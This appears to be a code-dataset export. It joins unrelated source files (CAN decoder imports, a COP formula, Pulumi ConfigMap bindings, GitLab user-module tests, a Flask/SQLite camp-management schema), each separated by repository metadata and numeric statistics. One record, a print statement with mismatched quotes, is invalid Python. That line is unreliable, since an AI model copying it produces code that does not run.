from can_decoder.dataframe.DataFrameDecoder import DataFrameDecoder
from can_decoder.dataframe.DataFrameGenericDecoder import DataFrameGenericDecoder
from can_decoder.dataframe.DataFrameJ1939Decoder import DataFrameJ1939Decoder
| 57
| 81
| 0.921053
| 21
| 228
| 9.857143
| 0.380952
| 0.101449
| 0.202899
| 0.333333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.037037
| 0.052632
| 228
| 3
| 82
| 76
| 0.921296
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
e95d67b0d7ee3e48b5a1fd3e13d2d83adabdb88d
| 117
|
py
|
Python
|
GasGrid/Use Case/calculation_parameters/cop_equation.py
|
cambridge-cares/TheWorldAvatar
|
baf08ddc090414c6d01e48c74b408f2192461e9e
|
[
"MIT"
] | 21
|
2021-03-08T01:58:25.000Z
|
2022-03-09T15:46:16.000Z
|
GasGrid/Use Case/calculation_parameters/cop_equation.py
|
cambridge-cares/TheWorldAvatar
|
baf08ddc090414c6d01e48c74b408f2192461e9e
|
[
"MIT"
] | 63
|
2021-05-04T15:05:30.000Z
|
2022-03-23T14:32:29.000Z
|
GasGrid/Use Case/calculation_parameters/cop_equation.py
|
cambridge-cares/TheWorldAvatar
|
baf08ddc090414c6d01e48c74b408f2192461e9e
|
[
"MIT"
] | 15
|
2021-03-08T07:52:03.000Z
|
2022-03-29T04:46:20.000Z
|
def COP(T_c):
return 0.35*((45+273.15)/(45-T_c))
def T_from_COP(COP):
return 45 - ((45+273.15)/(COP/0.35))
| 16.714286
| 40
| 0.57265
| 26
| 117
| 2.423077
| 0.423077
| 0.063492
| 0.222222
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.247423
| 0.17094
| 117
| 7
| 40
| 16.714286
| 0.402062
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| false
| 0
| 0
| 0.5
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 7
|
e9742be2f2a619941efbce359f1844012f445f9e
| 34
|
py
|
Python
|
pacote-download/PycharmProjects/cursoemvideo/Projeto01.py
|
ThamirisAdriano/Curso-em-video-Python
|
5715dfa0d558f7ebe41666a537cccf20fd79ce72
|
[
"MIT"
] | 1
|
2020-09-05T16:02:56.000Z
|
2020-09-05T16:02:56.000Z
|
pacote-download/PycharmProjects/cursoemvideo/Projeto01.py
|
ThamirisAdriano/Curso-em-video-Python
|
5715dfa0d558f7ebe41666a537cccf20fd79ce72
|
[
"MIT"
] | null | null | null |
pacote-download/PycharmProjects/cursoemvideo/Projeto01.py
|
ThamirisAdriano/Curso-em-video-Python
|
5715dfa0d558f7ebe41666a537cccf20fd79ce72
|
[
"MIT"
] | null | null | null |
print('\033(7;30;45m'olá, mundo!')
| 34
| 34
| 0.647059
| 7
| 34
| 3.142857
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.242424
| 0.029412
| 34
| 1
| 34
| 34
| 0.424242
| 0
| 0
| 0
| 0
| 0
| 0.371429
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 1
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 7
|
e98142142055f98e85b58a96bc83d37b8dcb93a7
| 13,711
|
py
|
Python
|
sdk/python/pulumi_alicloud/sae/config_map.py
|
pulumi/pulumi-alicloud
|
9c34d84b4588a7c885c6bec1f03b5016e5a41683
|
[
"ECL-2.0",
"Apache-2.0"
] | 42
|
2019-03-18T06:34:37.000Z
|
2022-03-24T07:08:57.000Z
|
sdk/python/pulumi_alicloud/sae/config_map.py
|
pulumi/pulumi-alicloud
|
9c34d84b4588a7c885c6bec1f03b5016e5a41683
|
[
"ECL-2.0",
"Apache-2.0"
] | 152
|
2019-04-15T21:03:44.000Z
|
2022-03-29T18:00:57.000Z
|
sdk/python/pulumi_alicloud/sae/config_map.py
|
pulumi/pulumi-alicloud
|
9c34d84b4588a7c885c6bec1f03b5016e5a41683
|
[
"ECL-2.0",
"Apache-2.0"
] | 3
|
2020-08-26T17:30:07.000Z
|
2021-07-05T01:37:45.000Z
|
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
__all__ = ['ConfigMapArgs', 'ConfigMap']
@pulumi.input_type
class ConfigMapArgs:
def __init__(__self__, *,
data: pulumi.Input[str],
namespace_id: pulumi.Input[str],
description: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None):
"""
The set of arguments for constructing a ConfigMap resource.
:param pulumi.Input[str] data: ConfigMap instance data.
:param pulumi.Input[str] namespace_id: The NamespaceId of ConfigMap.It can contain 2 to 32 lowercase characters.The value is in format `{RegionId}:{namespace}`
:param pulumi.Input[str] description: The Description of ConfigMap.
:param pulumi.Input[str] name: ConfigMap instance name.
"""
pulumi.set(__self__, "data", data)
pulumi.set(__self__, "namespace_id", namespace_id)
if description is not None:
pulumi.set(__self__, "description", description)
if name is not None:
pulumi.set(__self__, "name", name)
@property
@pulumi.getter
def data(self) -> pulumi.Input[str]:
"""
ConfigMap instance data.
"""
return pulumi.get(self, "data")
@data.setter
def data(self, value: pulumi.Input[str]):
pulumi.set(self, "data", value)
@property
@pulumi.getter(name="namespaceId")
def namespace_id(self) -> pulumi.Input[str]:
"""
The NamespaceId of ConfigMap.It can contain 2 to 32 lowercase characters.The value is in format `{RegionId}:{namespace}`
"""
return pulumi.get(self, "namespace_id")
@namespace_id.setter
def namespace_id(self, value: pulumi.Input[str]):
pulumi.set(self, "namespace_id", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
"""
The Description of ConfigMap.
"""
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
ConfigMap instance name.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@pulumi.input_type
class _ConfigMapState:
def __init__(__self__, *,
data: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
namespace_id: Optional[pulumi.Input[str]] = None):
"""
Input properties used for looking up and filtering ConfigMap resources.
:param pulumi.Input[str] data: ConfigMap instance data.
:param pulumi.Input[str] description: The Description of ConfigMap.
:param pulumi.Input[str] name: ConfigMap instance name.
:param pulumi.Input[str] namespace_id: The NamespaceId of ConfigMap.It can contain 2 to 32 lowercase characters.The value is in format `{RegionId}:{namespace}`
"""
if data is not None:
pulumi.set(__self__, "data", data)
if description is not None:
pulumi.set(__self__, "description", description)
if name is not None:
pulumi.set(__self__, "name", name)
if namespace_id is not None:
pulumi.set(__self__, "namespace_id", namespace_id)
@property
@pulumi.getter
def data(self) -> Optional[pulumi.Input[str]]:
"""
ConfigMap instance data.
"""
return pulumi.get(self, "data")
@data.setter
def data(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "data", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
"""
The Description of ConfigMap.
"""
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
ConfigMap instance name.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="namespaceId")
def namespace_id(self) -> Optional[pulumi.Input[str]]:
"""
The NamespaceId of ConfigMap.It can contain 2 to 32 lowercase characters.The value is in format `{RegionId}:{namespace}`
"""
return pulumi.get(self, "namespace_id")
@namespace_id.setter
def namespace_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "namespace_id", value)
class ConfigMap(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
data: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
namespace_id: Optional[pulumi.Input[str]] = None,
__props__=None):
"""
Provides a Serverless App Engine (SAE) Config Map resource.
For information about Serverless App Engine (SAE) Config Map and how to use it, see [What is Config Map](https://help.aliyun.com/document_detail/97792.html).
> **NOTE:** Available in v1.130.0+.
## Example Usage
Basic Usage
```python
import pulumi
import json
import pulumi_alicloud as alicloud
config = pulumi.Config()
config_map_name = config.get("configMapName")
if config_map_name is None:
config_map_name = "examplename"
example_namespace = alicloud.sae.Namespace("exampleNamespace",
namespace_id="cn-hangzhou:yourname",
namespace_name="example_value",
namespace_description="your_description")
example_config_map = alicloud.sae.ConfigMap("exampleConfigMap",
data=json.dumps({
"env.home": "/root",
"env.shell": "/bin/sh",
}),
namespace_id=example_namespace.namespace_id)
```
## Import
Serverless App Engine (SAE) Config Map can be imported using the id, e.g.
```sh
$ pulumi import alicloud:sae/configMap:ConfigMap example <id>
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] data: ConfigMap instance data.
:param pulumi.Input[str] description: The Description of ConfigMap.
:param pulumi.Input[str] name: ConfigMap instance name.
:param pulumi.Input[str] namespace_id: The NamespaceId of ConfigMap.It can contain 2 to 32 lowercase characters.The value is in format `{RegionId}:{namespace}`
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: ConfigMapArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
Provides a Serverless App Engine (SAE) Config Map resource.
For information about Serverless App Engine (SAE) Config Map and how to use it, see [What is Config Map](https://help.aliyun.com/document_detail/97792.html).
> **NOTE:** Available in v1.130.0+.
## Example Usage
Basic Usage
```python
import pulumi
import json
import pulumi_alicloud as alicloud
config = pulumi.Config()
config_map_name = config.get("configMapName")
if config_map_name is None:
config_map_name = "examplename"
example_namespace = alicloud.sae.Namespace("exampleNamespace",
namespace_id="cn-hangzhou:yourname",
namespace_name="example_value",
namespace_description="your_description")
example_config_map = alicloud.sae.ConfigMap("exampleConfigMap",
data=json.dumps({
"env.home": "/root",
"env.shell": "/bin/sh",
}),
namespace_id=example_namespace.namespace_id)
```
## Import
Serverless App Engine (SAE) Config Map can be imported using the id, e.g.
```sh
$ pulumi import alicloud:sae/configMap:ConfigMap example <id>
```
:param str resource_name: The name of the resource.
:param ConfigMapArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(ConfigMapArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
data: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
namespace_id: Optional[pulumi.Input[str]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = ConfigMapArgs.__new__(ConfigMapArgs)
if data is None and not opts.urn:
raise TypeError("Missing required property 'data'")
__props__.__dict__["data"] = data
__props__.__dict__["description"] = description
__props__.__dict__["name"] = name
if namespace_id is None and not opts.urn:
raise TypeError("Missing required property 'namespace_id'")
__props__.__dict__["namespace_id"] = namespace_id
super(ConfigMap, __self__).__init__(
'alicloud:sae/configMap:ConfigMap',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
data: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
namespace_id: Optional[pulumi.Input[str]] = None) -> 'ConfigMap':
"""
Get an existing ConfigMap resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] data: ConfigMap instance data.
:param pulumi.Input[str] description: The Description of ConfigMap.
:param pulumi.Input[str] name: ConfigMap instance name.
:param pulumi.Input[str] namespace_id: The NamespaceId of ConfigMap.It can contain 2 to 32 lowercase characters.The value is in format `{RegionId}:{namespace}`
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _ConfigMapState.__new__(_ConfigMapState)
__props__.__dict__["data"] = data
__props__.__dict__["description"] = description
__props__.__dict__["name"] = name
__props__.__dict__["namespace_id"] = namespace_id
return ConfigMap(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter
def data(self) -> pulumi.Output[str]:
"""
ConfigMap instance data.
"""
return pulumi.get(self, "data")
@property
@pulumi.getter
def description(self) -> pulumi.Output[Optional[str]]:
"""
The Description of ConfigMap.
"""
return pulumi.get(self, "description")
@property
@pulumi.getter
def name(self) -> pulumi.Output[str]:
"""
ConfigMap instance name.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter(name="namespaceId")
def namespace_id(self) -> pulumi.Output[str]:
"""
The NamespaceId of ConfigMap.It can contain 2 to 32 lowercase characters.The value is in format `{RegionId}:{namespace}`
"""
return pulumi.get(self, "namespace_id")
| 37.564384
| 167
| 0.619721
| 1,536
| 13,711
| 5.329427
| 0.120443
| 0.07525
| 0.092353
| 0.080625
| 0.805522
| 0.781945
| 0.752504
| 0.72453
| 0.7183
| 0.694967
| 0
| 0.004224
| 0.274743
| 13,711
| 364
| 168
| 37.667582
| 0.818986
| 0.366567
| 0
| 0.645714
| 1
| 0
| 0.079037
| 0.004187
| 0
| 0
| 0
| 0
| 0
| 1
| 0.154286
| false
| 0.005714
| 0.028571
| 0
| 0.274286
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f963e065cd45fce0029713f49907172d4fb19bca
| 184
|
py
|
Python
|
onix/__init__.py
|
khurrumsaleem/ONIX
|
799d345012990f8e6ac97f5e83921f50c3fc662e
|
[
"MIT"
] | 16
|
2019-09-18T06:03:55.000Z
|
2022-02-16T05:23:53.000Z
|
onix/__init__.py
|
khurrumsaleem/ONIX
|
799d345012990f8e6ac97f5e83921f50c3fc662e
|
[
"MIT"
] | 7
|
2020-11-17T20:41:00.000Z
|
2022-01-31T17:55:21.000Z
|
onix/__init__.py
|
khurrumsaleem/ONIX
|
799d345012990f8e6ac97f5e83921f50c3fc662e
|
[
"MIT"
] | 11
|
2019-09-11T13:52:05.000Z
|
2021-11-24T09:43:22.000Z
|
from . import couple
from onix.passport import *
from onix.sequence import *
from onix.cell import *
from onix.system import *
from onix.passlist import *
from onix.standalone import *
| 26.285714
| 29
| 0.782609
| 27
| 184
| 5.333333
| 0.37037
| 0.333333
| 0.486111
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.146739
| 184
| 7
| 29
| 26.285714
| 0.917197
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.285714
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
|
0
| 7
|
f9d09a1bdc159818c441300d04553c97828ef559
| 5,922
|
py
|
Python
|
tests/gitlab_user/uat/CreateUserTest.py
|
flowpl/ansible_gitlab_content
|
83972d43da8a17b608cfe663915e41e908d8d916
|
[
"MIT"
] | 3
|
2016-04-30T14:48:45.000Z
|
2021-02-08T04:43:13.000Z
|
tests/gitlab_user/uat/CreateUserTest.py
|
flowpl/ansible_gitlab
|
83972d43da8a17b608cfe663915e41e908d8d916
|
[
"MIT"
] | null | null | null |
tests/gitlab_user/uat/CreateUserTest.py
|
flowpl/ansible_gitlab
|
83972d43da8a17b608cfe663915e41e908d8d916
|
[
"MIT"
] | 1
|
2021-02-08T06:28:21.000Z
|
2021-02-08T06:28:21.000Z
|
# -*- coding: utf-8 -*-
import unittest
import mock
import library.gitlab_user
import ddt
@ddt.ddt
class CreateUserTest(unittest.TestCase):
@mock.patch('library.gitlab_user._send_request')
def testCreateOrUpdateUser_ifNoneExists_sendCreateRequest(self, send_request_mock):
send_request_mock.side_effect = (
({'status': '200 OK'}, '[{"username":"someuser"}]'),
({'status': '201 Created'}, '{"username":"testusername","id":12}')
)
result = library.gitlab_user.create_or_update_user(
{
'username': 'testusername',
'name': 'Test',
'email': 'someone@something.com',
'password': '98765btzf',
'api_url': 'http://something.com/api/v3',
'private_token': 'abc123'
},
False
)
self.assertTrue(result)
@mock.patch('library.gitlab_user._send_request')
def testCreateOrUpdateUser_ifNoneExistsAndCheckMode_dontSendRequest(self, send_request_mock):
send_request_mock.return_value = {'status': '200 OK'}, '[{"username":"someuser"}]'
result = library.gitlab_user.create_or_update_user(
{
'username': 'testusername',
'name': 'Test',
'email': 'someone@something.com',
'password': '98765btzf',
'api_url': 'http://something.com/api/v3',
'private_token': 'abc123'
},
True
)
self.assertTrue(result)
@mock.patch('library.gitlab_user._send_request')
def testCreateOrUpdateUser_ifNoneExistsAndSshKeyGiven_sendCreateUserAndAddSshKeyRequests(self, send_request_mock):
send_request_mock.side_effect = (
({'status': '200 OK'}, '[{"username":"someuser"}]'),
({'status': '201 Created'}, '{"username":"testusername","id":12}'),
({'status': '201 Created'}, '{"id":1,"key":"ghkjfasdkjadh","title":"sometitle"}')
)
result = library.gitlab_user.create_or_update_user(
{
'username': 'testusername',
'name': 'Test',
'email': 'someone@something.com',
'password': '98765btzf',
'ssh_key_title': 'sometitle',
'ssh_key': 'ghkjfasdkjadh',
'api_url': 'http://something.com/api/v3',
'private_token': 'abc123'
},
False
)
self.assertTrue(result)
@mock.patch('library.gitlab_user._send_request')
def testCreateOrUpdateUser_ifNoneExistsAndSshKeyGivenAndCheckMode_dontSendCreateRequests(
self,
send_request_mock):
send_request_mock.return_value = {'status': '200 OK'}, '[{"username":"someuser"}]'
result = library.gitlab_user.create_or_update_user(
{
'username': 'testusername',
'name': 'Test',
'email': 'someone@something.com',
'password': '98765btzf',
'ssh_key_title': 'sometitle',
'ssh_key': 'ghkjfasdkjadh',
'api_url': 'http://something.com/api/v3',
'private_token': 'abc123'
},
True
)
self.assertTrue(result)
@ddt.data(
{'username': 'testusername', 'name': 'Test', 'password': '98765btzf'},
{'username': 'testusername', 'email': 'someone@something.com', 'password': '98765btzf'},
{'username': 'testusername', 'name': 'Test', 'email': 'someone@something.com'}
)
def testCreateOrUpdateUser_ifRequiredArgumentIsMissing_throwExceptionDontSendRequest(self, input_arguments):
with mock.patch('library.gitlab_user._send_request') as send_request_mock:
send_request_mock.return_value = {'status': '200 OK'}, '[{"username":"someuser"}]'
arguments = {'api_url': 'http://something.com/api/v3', 'private_token': 'abc123'}
arguments.update(input_arguments)
with self.assertRaises(library.gitlab_user.GitlabModuleInternalException):
library.gitlab_user.create_or_update_user(arguments, False)
@ddt.data(
{'username': 'testusername', 'name': 'Test', 'password': '98765btzf'},
{'username': 'testusername', 'email': 'someone@something.com', 'password': '98765btzf'},
{'username': 'testusername', 'name': 'Test', 'email': 'someone@something.com'}
)
def testCreateOrUpdateUser_ifRequiredArgumentIsMissingAndCheckMode_throwExceptionDontSendRequest(
self, input_arguments):
with mock.patch('library.gitlab_user._send_request') as send_request_mock:
send_request_mock.return_value = {'status': '200 OK'}, '[{"username":"someuser"}]'
arguments = {'api_url': 'http://something.com/api/v3', 'private_token': 'abc123'}
arguments.update(input_arguments)
with self.assertRaises(library.gitlab_user.GitlabModuleInternalException):
library.gitlab_user.create_or_update_user(arguments, True)
@mock.patch('library.gitlab_user._send_request')
def testCreateOrUpdateUser_ifNoneExistsAndAdminGiven_sendCreateUserRequests(self, send_request_mock):
send_request_mock.side_effect = (
({'status': '200 OK'}, '[{"username":"someuser"}]'),
({'status': '201 Created'}, '{"username":"testusername","id":12,"is_admin":true}')
)
result = library.gitlab_user.create_or_update_user(
{
'username': 'testusername',
'name': 'Test',
'email': 'someone@something.com',
'password': '98765btzf',
'admin': True,
'api_url': 'http://something.com/api/v3',
'private_token': 'abc123'
},
False
)
self.assertTrue(result)
| 43.226277
| 118
| 0.583755
| 521
| 5,922
| 6.393474
| 0.159309
| 0.069349
| 0.086761
| 0.075653
| 0.854098
| 0.854098
| 0.854098
| 0.854098
| 0.854098
| 0.816872
| 0
| 0.026377
| 0.270179
| 5,922
| 136
| 119
| 43.544118
| 0.744331
| 0.003546
| 0
| 0.650407
| 0
| 0
| 0.316664
| 0.129853
| 0
| 0
| 0
| 0
| 0.056911
| 1
| 0.056911
| false
| 0.073171
| 0.03252
| 0
| 0.097561
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
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| 0
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| 0
| 0
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| 0
| 0
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| null | 0
| 0
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| 0
| 0
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| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
f9e3d645694663f005b751fcfd05fe55c4abed51
| 86,932
|
py
|
Python
|
server.py
|
matteoverzeroli/GestioneCre
|
b95bc22aacc5fcfe70edabae232bf75e7b9f10bc
|
[
"MIT"
] | null | null | null |
server.py
|
matteoverzeroli/GestioneCre
|
b95bc22aacc5fcfe70edabae232bf75e7b9f10bc
|
[
"MIT"
] | null | null | null |
server.py
|
matteoverzeroli/GestioneCre
|
b95bc22aacc5fcfe70edabae232bf75e7b9f10bc
|
[
"MIT"
] | null | null | null |
import os
import sqlite3
from flask import Flask, request, render_template, redirect, url_for, session, flash
app = Flask(__name__)
app.secret_key = os.urandom(24)
path = 'database.db'
database = sqlite3.connect(path)
cursor = database.cursor()
# definizione ruoli della popolazione di riferimento
ruolo_partecipanti = ['leader', 'segretaria', 'responsabile', 'esterno', 'animatore', 'bambino']
# totale partecimanti
totale_leader = -1;
totale_segretarie = 0;
totale_responsabili = 0;
totale_esterni = 0;
totale_bambini = -1;
totale_animatori = -1;
# cerco matricola massima utilizzata
matricola_max = 0
# inizializzazione del database
database.execute("CREATE TABLE IF NOT EXISTS PERSONALE("
"Matricola CHAR(5), "
"Password CHAR(5) NOT NULL, "
"Nome VARCHAR(50) NOT NULL, "
"Cognome VARCHAR(50) NOT NULL, "
"Email VARCHAR(50) NOT NULL, "
"DataNascita DATE NOT NULL, "
"Indirizzo VARCHAR(50) NOT NULL, "
"NumTelefono INTEGER NOT NULL, "
"NumCellulare INTEGER, "
"Ruolo VARCHAR(12) NOT NULL, "
"PRIMARY KEY (Matricola));")
database.execute("CREATE TABLE IF NOT EXISTS ANIMATORE("
"Matricola CHAR(5), "
"Password CHAR(5) NOT NULL, "
"Nome VARCHAR(50) NOT NULL, "
"Cognome VARCHAR(50) NOT NULL, "
"Email VARCHAR(50) NOT NULL, "
"DataNascita DATE NOT NULL, "
"Indirizzo VARCHAR(50) NOT NULL, "
"NumTelefono INTEGER NOT NULL, "
"NumCellulare INTEGER, "
"MatrResponsabile CHAR(5) NOT NULL DEFAULT '00000', "
"NomeSquadra VARCHAR(10), "
"PRIMARY KEY (Matricola), "
"FOREIGN KEY (MatrResponsabile) "
"REFERENCES PERSONALE(Matricola) ON DELETE SET DEFAULT, "
"FOREIGN KEY (NomeSquadra) "
"REFERENCES SQUADRA(Nome))")
database.execute("CREATE TABLE IF NOT EXISTS BAMBINO("
"Matricola CHAR(5), "
"Password CHAR(5) NOT NULL, "
"Nome VARCHAR(50) NOT NULL, "
"Cognome VARCHAR(50) NOT NULL, "
"Email VARCHAR(50) NOT NULL, "
"DataNascita DATE NOT NULL, "
"Indirizzo VARCHAR(50) NOT NULL, "
"NumTelefono INTEGER NOT NULL, "
"NumCellulare INTEGER, "
"NominativoMadre VARCHAR(50) NOT NULL, "
"NominativoPadre VARCHAR(50) NOT NULL, "
"NomeSquadra VARCHAR(10), "
"PRIMARY KEY (Matricola) "
"FOREIGN KEY (NomeSquadra) "
"REFERENCES SQUADRA(Nome));")
database.execute("CREATE TABLE IF NOT EXISTS MOVIMENTO("
"Id INTEGER primary key AUTOINCREMENT, "
"TipoEvento VARCHAR(10), "
"Luogo VARCHAR(50),"
"Data DATE,"
"Ora TIME,"
"Descrizione VARCHAR(50) NOT NULL,"
"Valore FLOAT NOT NULL,"
"Inout BIT NOT NULL,"
"MatrSegretaria CHAR(5) NOT NULL DEFAULT '00000',"
"FOREIGN KEY (TipoEvento,Luogo,Data,Ora) "
"REFERENCES EVENTO(TipoEvento,Luogo,Data,Ora),"
"FOREIGN KEY (MatrSegretaria) "
"REFERENCES PERSONALE(Matricola) ON DELETE SET DEFAULT);")
database.execute("CREATE TABLE IF NOT EXISTS EVENTO("
"TipoEvento VARCHAR(10), "
"Luogo VARCHAR(50),"
"Data DATE,"
"Ora TIME,"
"Descrizione VARCHAR(50) NOT NULL,"
"Punteggio INTEGER,"
"MatrLeader CHAR(5) NOT NULL DEFAULT '00000', "
"PRIMARY KEY (TipoEvento,Luogo,Data,Ora),"
"FOREIGN KEY (MatrLeader) "
"REFERENCES PERSONALE(Matricola) ON DELETE SET DEFAULT );")
database.execute("CREATE TABLE IF NOT EXISTS SQUADRA("
"Nome VARCHAR(10),"
"Punteggio INTEGER DEFAULT 0,"
"Colore VARCHAR(10) NOT NULL,"
"Motto VARCHAR(50) NOT NULL,"
"PRIMARY KEY (Nome));")
database.execute("CREATE TABLE IF NOT EXISTS APPELLOBAMBINO("
"IdBambino CHAR(5) DEFAULT '00002' REFERENCES BAMBINO(Matricola) ON DELETE SET DEFAULT,"
"Data DATA NOT NULL,"
"Presenza BIT NOT NULL,"
"PRIMARY KEY (IdBambino, Data));")
database.execute("CREATE TABLE IF NOT EXISTS APPELLOANIMATORE("
"IdAnimatore CHAR(5) DEFAULT '00003' REFERENCES ANIMATORE(Matricola) ON DELETE SET DEFAULT,"
"Data DATA NOT NULL,"
"Presenza BIT NOT NULL,"
"PRIMARY KEY (IdAnimatore, Data));")
database.execute("CREATE TABLE IF NOT EXISTS APPELLOPERSONALE("
"IdPersonale CHAR(5) DEFAULT '00000' REFERENCES PERSONALE(Matricola) ON DELETE SET DEFAULT,"
"Data DATA NOT NULL,"
"Presenza BIT NOT NULL,"
"PRIMARY KEY (IdPersonale, Data));")
database.execute("CREATE TABLE IF NOT EXISTS ARBITRA("
"MatrResponsabile CHAR(5) REFERENCES PERSONALE(Matricola),"
"TipoEvento VARCHAR(10) NOT NULL, "
"Luogo VARCHAR(50) NOT NULL,"
"Data DATE NOT NULL,"
"Ora TIME NOT NULL, "
"PRIMARY KEY (MatrResponsabile, TipoEvento,Luogo,Data,Ora), "
"FOREIGN KEY (TipoEvento,Luogo,Data,Ora) "
"REFERENCES EVENTO(TipoEvento,Luogo,Data,Ora));")
database.execute("CREATE TABLE IF NOT EXISTS GESTISCE("
"MatrEsterno CHAR(5) REFERENCES PERSONALE(Matricola),"
"TipoEvento VARCHAR(10) NOT NULL, "
"Luogo VARCHAR(50) NOT NULL,"
"Data DATE NOT NULL,"
"Ora TIME NOT NULL, "
"PRIMARY KEY (MatrEsterno,TipoEvento,Luogo,Data,Ora), "
"FOREIGN KEY (TipoEvento,Luogo,Data,Ora) "
"REFERENCES EVENTO(TipoEvento,Luogo,Data,Ora));")
database.execute("CREATE TABLE IF NOT EXISTS ISCRIZIONE("
"MatrBambino CHAR(5) REFERENCES BAMBINO(Matricola),"
"TipoEvento VARCHAR(10) NOT NULL, "
"Luogo VARCHAR(50) NOT NULL,"
"Data DATE NOT NULL,"
"Ora TIME NOT NULL,"
"DataIscrizione DATE NOT NULL,"
"PRIMARY KEY (MatrBambino,TipoEvento,Luogo,Data,Ora),"
"FOREIGN KEY (TipoEvento,Luogo,Data,Ora) "
"REFERENCES EVENTO(TipoEvento,Luogo,Data,Ora));")
